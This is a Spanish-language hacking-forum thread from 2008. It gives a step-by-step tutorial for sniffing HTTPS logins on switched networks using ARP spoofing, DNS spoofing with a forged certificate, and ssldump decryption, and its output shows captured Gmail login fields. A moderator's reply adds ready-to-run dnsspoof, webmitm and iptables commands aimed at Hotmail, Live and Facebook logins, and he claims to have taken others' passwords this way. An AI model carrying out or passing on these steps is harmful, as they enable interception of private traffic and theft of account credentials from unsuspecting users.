elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
27 Mayo 2012, 15:39  


Tema destacado: Entra al canal IRC oficial de #elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado (Moderadores: ANELKAOS, TRICKY)
| | |-+  Esnifando redes conmutadas[arp spoof + MitM + Sniffer sobre SSL]
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Esnifando redes conmutadas[arp spoof + MitM + Sniffer sobre SSL]  (Leído 4,951 veces)
B|4k3_X

Desconectado Desconectado

Mensajes: 15


Ver Perfil
Esnifando redes conmutadas[arp spoof + MitM + Sniffer sobre SSL]
« en: 4 Agosto 2008, 18:26 »

SNIFFEANDO REDES CONMUTADAS

ARP SPOOFING + ENVENENAMIENTO DE CACHE + MAN IN THE MIDDLE + HTTPS

Un poco de Teoría para entender lo que hacemos.

Que es un Switch?

Es un dispositivo de interconexión de redes que opera en la capa 2 (nivel de enlace de datos) del modelo OSI de ISO (a diferencia del HUB que opera en la capa 1 [Nivel Físico]).

Qué función tiene  un switch?
Interconectar los ordenadores de la red como otros segmentos de la misma, enviando los datos de un segmento a otro o de un equipo a otro dirigiéndose por la Dirección MAC.

Ahora un ejemplo más sencillo.

Funcionamiento HUB

El escenario:
Una PC origen que es la que emite el mensaje, un HUB, una PC 1, una PC 2 y una PC 3.

La PC origen emite el mensaje “Hola PC 2”, el HUB la recibe y envía el mensaje a TODAS las PC’s en la red, pero como el mensaje estaba dirigido para la PC 2, solo esta le responde, el HUB toma la respuesta y la envía a PC origen.

Como verán esto no es nada seguro, ya que todas las PC’s de la red reciben el mensaje y este mensaje se envía en texto plano.

Funcionamiento Switch

El escenario:
Una PC origen MAC FF:FF:FF:FF:FF:FF  que es la que emite el mensaje, un Switch, una PC 1 MAC AA:AA:AA:AA:AA:AA , una PC 2 MAC BB:BB:BB:BB:BB:BB  y una PC 3 MAC CC:CC:CC:CC:CC:CC.

La PC origen MAC FF:FF:FF:FF:FF:FF emite el mensaje “Hola PC 2 con MAC BB:BB:BB:BB:BB:BB” , el Switch la recibe, identifica la MAC  en su tabla de direcciones y envía el mensaje directamente a la PC2 con la MAC BB:BB:BB:BB:BB:BB  y esta le responde, el Switch toma la respuesta y la envía a PC origen.

*Esto esta explicado a MUY grandes rasgos, sin entrar en tecnicismos y terminología que sería muy difícil de entender si no tienen muchos conocimientos técnicos.

Que es ARP?

Es el Protocolo de Resolución de Direcciones (Address Resolution Protocol) que operan en la capa 3 (nivel  de red) del modelo OSI de ISO, esta capa es la encargada de proporcionar conectividad y seleccionar la ruta entre dos equipos de la red.

Qué función tiene  el protocolo ARP?
Es el encargado de encontrar la MAC de una dirección IP basándose en envió de paquetes ARP request al broadcast de la dirección IP y espera la respuesta ARP reply con la MAC que le corresponde a dicha IP.

Para más información sobre este protocolo consultar su RFC http://www.faqs.org/rfcs/rfc826.html

Un ejemplo más sencillo:

Funcionamiento ARP.
ARP pregunta al broadcast por medio de un ARP request
ARP request [Quien tiene la IP 192.168.1.1, el que la tenga mándeme su MAC]
El equipo con la dirección IP 192.168.1.1 responde.
ARP reply [Yo la tengo, mi dirección MAC es FF:FF:FF:FF:FF:FF]

De esta manera ya podremos  establecer la comunicación directa entre estos dos Hosts

* Esto esta explicado a MUY grandes rasgos, sin entrar en tecnicismos y terminología que sería muy difícil de entender si no tienen muchos conocimientos técnicos.


Que es el HTTPS?

Es el Protocolo Seguro de Transferencia de Hipertexto, es decir que toda la información que viaja a través de ese protocolo utiliza un cifrado SSL para crear un canal de comunicación seguro que empieza con 128bits de cifrado y a diferencia del HTTP que utiliza el puerto 80 para ponerse a la escucha de manera predeterminada, este opera en el 443.

Entonces si el Switch trabaja basándose en **PUERTO/MAC, el ARP nos da la MAC a partir del IP de origen y el HTTPS cifra toda la comunicación, como podremos sniffear SSL en una red conmutada?

**Puerto Fisico de Switch. rlz averno :P

Entrando en Materia  ; ).

Lo que no se dijo del protocolo ARP.

Siguiendo el ejemplo del funcionamiento del ARP vemos que cada vez que tengamos que realizar una comunicación con un equipo dentro de la red, tendríamos que hacer todo ese proceso y esto aumenta el tráfico de la red, ahora como solucionamos esto? Con las TABLAS ARP.


Las tablas contienen información  de la dirección IP y la MAC de la siguiente forma.



La tabla realiza la función de un cache, de esta manera si hay necesidad de comunicarse de nuevo con el mismo equipo, no tendría que realizarse todo el proceso de ARP request/ARP reply, solo tendremos que ver en nuestra tabla la IP para saber a que MAC está asociada, y es ahí en donde radica la vulnerabilidad y el corazón de este ataque.


Escenario:

Un Router + Gateway , PC Atacante y PC Victima

PC Atacante
IP:  192.168.1.65
MAC:  00:13:E8:5B:C1:69

PC Victima
IP:  192.168.1.66
MAC: 00:19:D1:AA:AF:20

Router/Gateway
IP: 192.168.1.254
MAC:  00:1E:C7:A4:1B:49

Planteamiento:

Envenenamos la Tabla ARP de PC Victima para hacerle creer que la IP del Router/Gateway corresponde a la MAC del PC Atacante, de esta manera toda la comunicación que establecía PC Victima con Router/Gateway, pasa primero por PC Atacante y después es reenviada a Router/Gateway. Esto se logra enviando ARP reply a PC Victima para agregar una entrada falsa.


Tabla ARP de PC Victima estado Normal:
__________________________________________________________
|  Dirección IP      |   Dirección física         |Tipo      |
| 192.168.1.254   |     00-1e-c7-a4-1b-49        |dinámico   |
|192.168.1.65      |   00-13-e8-5b-c1-69   |dinámico   |

Como podrán ver se ve la dirección IP del Router/Gateway y su correspondiente MAC, esto es en un escenario donde la comunicación se realiza sin ninguna intervención de la misma.

Ahora realizamos la técnica de ARP Spoofing para envenenar la Tabla ARP de PC Victima quedando de la siguiente manera.

__________________________________________________________
|  Dirección IP      |   Dirección física         |Tipo      |
| 192.168.1.254   |     00-13-e8-5b-c1-69   |dinámico   |
|192.168.1.65      |   00-13-e8-5b-c1-69   |dinámico   |


Como podemos ver ahora la MAC del Router /Gateway ha sido suplantada por la MAC del PC Atacante, de esta manera logramos interceptar toda la información, ya que a partir de este punto la PC Victima estaría enviando el paquete a PC Atacante y este lo reenviar a Router/Gateway, pero que pasa con la información que Router/Gateway regresa a PC Victima?, pues como la Cache de la Tabla ARP del Router/Gateway no está envenenada, esta pasaría directamente a PC Victima, dejándonos fuera de la jugada en cuanto a la respuesta de la petición realizada por PC Victima a Router/Gateway,  Para hacer esto transparente podríamos envenenar las Tablas ARP del Router/Gateway a este proceso se le llama Full Poisoning, de no hacerlo seria un Half Poisoning.

Llegando de esta manera a realizar otra técnica llamada Man in the Middle, que consiste en, como su nombre lo indicar, estar en medio de la comunicación entre PC Victima y Router/Gateway.

Llevando lo aprendido a la práctica.

Ahora que ya conocemos, entendemos y comprendemos  todo el proceso de comunicación que se realiza de manera transparente para un usuario “mortal” xDDD en una red y que ya tenemos el escenario y el planteamiento es hora de ir a la práctica.

Herramientas a Utilizar
Sistema Operativo Linux, su distro favorita ;)
La suit de herramientas Dsniff
SSLDump
Wireshark

Preparando el entorno.

Para poder instalar el Dsniff es necesario contar con los paquetes necesarios, para ver la lista completa no olviden leer el “redme” del Dsniff.

Ahora ya con el Dsniff instalado, habilitaremos el reenvío de paquetes a través de nuestro equipo, esto lo hacemos con el siguiente comando.



Ahora crearemos un fichero llamada gmail.hosts con el siguiente contenido:
IP_ATACANTE     *.gmail.com
IP_ATACANTE     *.google.com

Siguiendo nuestro escenario nuestro fichero gmail.hosts debería de quedar así.



Realizando el Ataque.

Lanzado  dnsspoof:

Dnsspoof junto con el fichero gmail.hosts que creamos previamente nos permite hacer que cualquier petición del PC Victima para gmail sea truqueada y en realidad mande la conexión a PC Atacante.



Ahora utilizamos el webmitm con el parámetro –d para ver todo (vamos como si fuera un verbose), al no tener un certificado, webmitm creara uno para nosotros, y este será el que la victima vea en su navegador, este mismo nos servirá posteriormente para descifrar  el trafico SSL generado.

Para echar a andar el webmitm lo hacemos de la siguiente forma:
Webmitm –d
Esto hará que nos cree el certificado como se muestra abajo.



Ahora utilizaremos la herramienta  arpspoof que es parte de la suit de Dsniff.



Entendiendo que:
El parámetro –i indica la interface de red que utilizaremos para llevar a cabo  este ataque.
El parámetro –t indica que envenene la Cache de la Tabla ARP del PC Victima creando una entrada falsa para el Router/Gateway; el orden es importante y es el siguiente –t IP_PC_VICTIMA [espacio] IP_ROUTER/GATEWAY.
De esta manera que intervenido el trafico que se dirige desde PC Victima a Router/Gateway

Ahora lo realizaremos a la inversa, para lograr que el trafico de respuesta de Router/Gateway pasa primero por nosotros y de esta manera está realizando la técnica Man in the Middle que es lo mismo que un Full Poisoning o Full Routing.



Entendiendo que:
El parámetro –i indica la interface de red que utilizaremos para llevar a cabo  este ataque.
El parámetro –t indica que envenene la Cache de la Tabla ARP de Router/Gateway  creando una entrada falsa para PC Victima; el orden es importante y es el siguiente –t IP_ROUTER/GATEWAY [espacio] IP_PC_VICTIMA.

De esta manera que intervenido el trafico que se dirige desde Router/Gateway  a PC Victima.

Veamos cómo debería de quedar la Cache de la Tabla ARP de la PC Victima.




Como podemos ver la dirección física (MAC) es la misma para 192.168.1.62 (PC Atacante) como para 192.168.1.254 (Router/Gateway)

Realizando esto en ambos sentidos (PC Victima -> Router/Gateway) y (Router/Gateway ->PC Victima) tendríamos las envenenada la Chache de las tablas ARP de ambos equipos y por lo consiguiente la información de PC Victima a Router/Gateway y viceversa estarían pasando por PC Atacante logrando un Man in the Middle.

Logrando esto, ya tenemos la mitad del trabajo realizado, ahora faltaría lo demás… pero que es lo demás ¿??? La pregunta correcta es  que quieren hacer con ese tráfico que pasa por su equipo? (PC Atacante), las posibilidades son muchas, desde IPSPOOFING para ganar acceso a Equipos protegidos que aceptan solo conexiones de determinada IP, Firewalls, Proxy, como sniffear Contraseñas, Ver que es lo que navega la PC Victima(Si así es VER, esto se lo debemos de agradecer a webspy que es parte de la suit de Dsniff) pero bueno esto es harina de otro costal, lo que nos interesa es Sniffear el trafico SSL ( vamos si ocultan algo es porque ha de ser bueno no creen ¿? :P).

Atacando al eslabón más débil.

Como siempre la cadena se rompe por el eslabón más débil, el usuario final y poco capacitado.

Todo el tráfico de PC Victima a Router/Gateway pasa por PC Atacante, eso ya lo tenemos claro, pero y el trafico SSL ¿? Si analizamos solo así este tráfico solo veríamos la cifrado del mismo, no en texto plano, y entonces las contraseñas de Hotmail y Gmail ¿?

Para lograr esto utilizaremos webmitm en combinación con wireshark, webmitm  es parte de la misma suit, webmitm funciona como un proxy tranparente que captura las peticiones del PC Victima y las reenvía al sitio web, el sitio web devuelve la información a webmitm y este lo reenvía a PC Victima mientras Wireshark captura todo ese tráfico.

Ahora que ya tenemos todo corriendo solo falta empezar la captura con Wireshark, recuerden que todo tiene que estar con privilegios de root.

Abrimos el Wireshark vamos a Capture->Options y ahí configuramos  según nuestras necesidades. Después solo de damos en START y empezará a capturar todo el tráfico.




Ahora solo esperar a que PC Victima se dirija a Gmail.com para poder capturar sus credenciales, descifrar el tráfico y poder firmarnos en el servidor de Gmail como si fuéramos PC Victima.

Cuando PC Victima se dirija a Gmail.com en la consola donde se ejecuta el webmitm nos mostrara lo siguiente:



Ahora solo tendremos que “descifrar” el tráfico capturado y aquí es donde entra SSLDump.

Para lanzar SSLDump es de la siguiente forma.

ssldump –r ssl.cap –k webmitm.crt –d > ssl.txt

Entendiendo que:
El parámetro –r indica que lea los datos de un fichero, en nuestro caso la captura “ssl.cap”
El parámetro –k es la “llave” con la que generamos esa captura
El parámetro –d es para decodificar el trafico


Ahora veremos el fichero ssl.txt y veremos las credenciales del usuario en texto plano ;)

*Abreviado por tener un output muy grande.

New TCP connection #1: desktop(2475) <-> sistemas(80)
0.0142 (0.0142)  C>S
---------------------------------------------------------------
GET /mail/ HTTP/1.1
Host: mail.google.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: S=gmail=c1jq-zsTh-XXXXXXXXX-dA6w:gmail_yj=XXXXXXXXXXXXXXXXXXX:gmproxy=TCm_iMlLob8:gmproxy_yj=H7biGN-MngA:gmproxy_yj_sub=WRmLGyuZGTI; PREF=ID=XXXXXXXXXX:TM=1217277715:LM=1XXXXXX1:GM=1:S=vNEaY-XXXXXXXXXXXXX; TZ=300; GMAIL_RTT=1455
--------------------------------------------------------------------

ltmpl=default&ltmplcache=2&continue=https%3A%2F%2Fmail.google.com%2Fmail%2F%3F&service=mail&rm=false&ltmpl=default&ltmpl=default&Email=ESTEES.ELEMAIL&Passwd=PASSWORD&rmShown=1&signIn=Acceder&asts=


Como podrán ver es  un ataque que se lleva a cabo en cuestión de minutos.

*Esta no es una guía definitiva ni pretender serlo; si encuentran algún error por favor notifíquenmelo para hacer las correcciones adecuadas  ;P – Pueden distribuirlo libremente siempre y cuando no sea removido el autor.

______________________
Alejandro Pereira Gamboa
IT Manager
apereira@i-sec.com.mx


* Descarga en PDF

http://rapidshare.com/files/134800611/SNIFFEANDO_REDES_CONMUTADAS.pdf.html



« Última modificación: 8 Agosto 2008, 18:29 por ANELKAOS » En línea
alexvem

Desconectado Desconectado

Mensajes: 182



Ver Perfil
Re: Sniffeando redes conmutadas[arp spoof + MitM + Sniffer sobre SSL]
« Respuesta #1 en: 5 Agosto 2008, 03:53 »

tengo 1 duda, con el cain se puede hacer, pero el wireshark no lo he usado, ya no quiero usar cain por que hace muy lento el trafico, conel wireshark se pone lento?
En línea
zerialkiller

Desconectado Desconectado

Mensajes: 34


you fuck with me... you fuck with the best


Ver Perfil WWW
Re: Sniffeando redes conmutadas[arp spoof + MitM + Sniffer sobre SSL]
« Respuesta #2 en: 5 Agosto 2008, 04:25 »

muy interesante   :D 

saludos
-----------------------------------------------------------------------------------------------------------------

he usado bastante el wireshark y nunca seme ha alentado ni tampoco el trafico, pero lo que si me ha pasado es que pierda bastantes paquetes pero con el ettercap.

saludos 

En línea
TRICKY
The "Tricky" ..
Moderador
***
Desconectado Desconectado

Mensajes: 1.605


Ver Perfil
Re: Sniffeando redes conmutadas[arp spoof + MitM + Sniffer sobre SSL]
« Respuesta #3 en: 5 Agosto 2008, 15:35 »

 Que tal.

 
Citar
Entonces si el Switch trabaja basándose en IP/MAC..

 El Switch no se fija en la IP! Esta basado en Puerto/MAC ( puerto del propio
 Switch ). Es por ello, por lo que podemos realizar el ARP Poisoning; nosotros
 envenenamos las caches ARP con mapeos MAC/IP a conveniencia, y despues, al
 trabajar el Switch en capa 2 ( Enlace de datos ) este no se fija para nada en IP
 ( que trabaja en capa 3, de Red ), y al usarse ARP en toda comunicacion sobre IP,
 y al estar esta envenenada, el switch hace su cometido y conmuta el trafico
 hacia el puerto donde este conectado la MAC a la que se dirige el paquete, que
 seria nuestra MAC ( la envenenada ). Tras ello, con el IP Forwarding activado en
 nuestro PC, la pila tcp/ip haria la redireccion a la IP del encabezado de la trama,
 que seriala verdadera IP.

 Buen aporte, solo se te paso eso.. :_)

 Suerte.


 /************ MODIFIKO ***************/

 A mi, no me hace falta el paso de ssldump y wireshark, ya que webmitm lo que
 hace es actuar como proxy an la comunicacion, y siendo el el que crea los
 certificados y las claves, tiene acceso al texto en plano al poseer el la clave
 privada. Es decir, yo lo que hago es tras crear un fichero /etc/dnsspoof.hosts asi,
 ( 192.168.1.65 == MI IP ):

 192.168.1.65  *.hotmail.com
 192.168.1.65  *.login.live.com
 192.168.1.65  *.facebook.com

 Pues nada, ahora seria ( en redes con Switch, con Hubs no haria falta ) correr
 el arpsoof como tu bien indicastes..
 Tras ello, seria correr dnsspoof:

# dnsspoof -i eth0 -f /etc/dnsspoof.hosts

 Ahora, yo corro webmitm:

# webmitm -d > hacked.log 2>&1

 Nota: si hay problemas, es aconsejable flushear el Firewall:
# iptables -F
( para sistemas basados en Red Hat, aniadir: # /sbin/service iptables save
 para salvar los cambios )
( podriamos asugurar las cadenas INPUT y OUTPUT y FORWARD a ACCEPT.. ).

 Ya de antemano tambien es buena idea tener el ip_froward activado, Por ejemplo:
 # /sbin/sysctl -w net.ipv4.ip_forward=1
(Recordar que: si hacemos estos cambios via sysctl /* o en sysctl.conf */
 deberiamos de reiniciar la Red: # /etc/rc.d/init.d/network restart    o
 # /sbin/service network restart    para que surjan efecto )

 Bueno, pues si todo va bien, yo lo que hago es chequear el fichero hacked.log,
 al cual redirigi tanto el stdout como el stderr al correr webmitm..
 # vi hacked.log

 Ya solo con eso, yo obtengo las passwords por lo anteriormente citado, sin tener
 que recurrir a wireshark o ssldump.

 Saludos.

 
« Última modificación: 5 Agosto 2008, 16:00 por averno » En línea

"La envidia es una declaración de inferioridad"
Napoleón.
B|4k3_X

Desconectado Desconectado

Mensajes: 15


Ver Perfil
Re: Sniffeando redes conmutadas[arp spoof + MitM + Sniffer sobre SSL]
« Respuesta #4 en: 5 Agosto 2008, 16:16 »

Gracias por la correccion averno la desesperacion de querer explicarlo sin tanto rollo hace que comenta burradas, edito ahora mismo, lo rraro es que lo he hecho sin utilizar el ssldump y nomas no .... donde deberia de ir el usuario y el password no esta en texto plano .. aun que si la logica indica que si webmitm es un proxy pues se supone que seria asi .. que lo capturaramos antes de pasar al servidor, pero en la practica no ... al menos a mi no me funciona asi, ya que la conexion se cifra al momento de establecer la conexion con HTTPS, y no al enviarla desde el form, o almenos eso entendi :P

http://www.ietf.org/rfc/rfc2818.txt
En línea
TRICKY
The "Tricky" ..
Moderador
***
Desconectado Desconectado

Mensajes: 1.605


Ver Perfil
Re: Sniffeando redes conmutadas[arp spoof + MitM + Sniffer sobre SSL]
« Respuesta #5 en: 5 Agosto 2008, 16:21 »

 Que tal!

 Bueno, eso es solo lo que a mi me ocurre.. yo SI que consigo como te dije
 las passwords en texto plano, tal y como explane. Asi es como he conseguido las
 pass de hotmail Facebook y demas que tengo. No es un vacile, eh!

 Bueno, Saludos y Suerte.

 
 /*********** MODIFIKO ************/

 Busca bien en el archivo, ya que tendras que buscar entre bastante data:
 alguna cifrada, y otra no, ya que webmitm tiene acceso a ambas!

 /*********** MODIKIKO2 ***********/

 y tambien, piensa que justo ahi esta la gracia de la herramienta webmitm!
 No hacen falta mas herramientas. Piensalo bien, y dirigete a la page de
 dugsong si deseas.
« Última modificación: 5 Agosto 2008, 17:05 por averno » En línea

"La envidia es una declaración de inferioridad"
Napoleón.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Pistas sobre la prueba de Spoof.
WarZone
takuya1 1 1,666 Último mensaje 21 Marzo 2011, 17:46
por ezeguada
Descargar canciones de Spotify esnifando la red?
Hacking Avanzado
scr21 1 1,312 Último mensaje 4 Junio 2011, 13:54
por Saberuneko
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines